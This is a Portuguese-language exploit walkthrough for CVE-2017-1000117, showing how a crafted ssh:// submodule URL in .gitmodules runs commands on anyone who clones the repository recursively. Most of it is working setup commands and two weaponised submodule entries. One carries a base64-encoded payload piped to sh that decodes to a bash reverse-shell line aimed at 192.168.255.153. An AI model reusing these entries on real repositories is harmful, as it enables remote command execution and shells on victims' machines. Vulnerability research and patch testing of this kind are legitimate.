
Agentes mal-intencionados podem criar engenhosamente um link "ssh://..." e fazer com que a vítima acesse esse link malicioso, por exemplo, ao executar um programa, alcançando assim a execução de comandos. Esse link pode ser colocado no arquivo .gitmodules de um projeto Git, de modo que, quando a vítima realiza a operação git clone –recurse-submodules/git clone --recursive em um projeto, isso cause um problema de segurança.
Preparação:
No terminal Linux, digite: printf 'a' >> /tmp/pwned.txt Verifica-se que o arquivo pwned.txt foi criado no diretório tmp, com o conteúdo 'a'.
git init
git remote add origin https://github.com/leezp/CVE-2017-1000117.git
git pull origin master
git submodule add https://github.com/leezp/CVE-2017-1000117.git sub1
([submodule "sub1"] path = sub1 url = https://github.com/leezp/CVE-2017-1000117.git //Foram criados dois subdiretórios de submódulo, sub1 e name2)
git submodule add https://github.com/leezp/CVE-2017-1000117.git name2
git add .
git commit -m '1'
git push -u origin master
Existem duas maneiras de criar:
Primeira maneira: Abra o arquivo .gitmodules e modifique o conteúdo (só é necessário modificar o primeiro, pois apenas o exp do primeiro submódulo será executado; aqui foram criados 2 porque às vezes criar apenas um não o executa — não tenho muito interesse em pesquisar o motivo específico por enquanto).
[submodule "name1"]
path = name1
url = ssh://-oProxyCommand=printf cHJpbnRmICJiYXNoIC1pID4vZGV2L3RjcC8xOTIuMTY4LjI1NS4xNTMvMjMzMyAwPiYxIDI+JjEgIiA+PiAvdG1wL3F3ZXI= | base64 -d | sh /bar
[submodule "sub2"]
path = sub2
url = https://github.com/leezp/CVE-2017-1000117.git
(Consulte o arquivo .gitmodules.bak1 para detalhes.) A primeira maneira não requer um arquivo de payload.
Segunda maneira: Abra o arquivo .gitmodules e modifique o conteúdo (basta modificar o primeiro).
[submodule "sub1"]
path = sub1
url = ssh://-oProxyCommand=sh<payload/wat
[submodule "name2"]
path = name2
url = https://github.com/leezp/CVE-2017-1000117.git
(Consulte o arquivo .gitmodules para detalhes.) Essa maneira precisa ser combinada com um arquivo de payload; para o arquivo de payload, digitamos: printf 'sss' > /var/www/html/vul
Nota O comando git clone deve ser usado em uma das duas formas a seguir:
git clone --recursive url
git clone --recurse-submodules url
Usar somente git clone fará o download normal, sem gerar arquivos adicionais; portanto, a condição para acionar a vulnerabilidade é bastante restrita.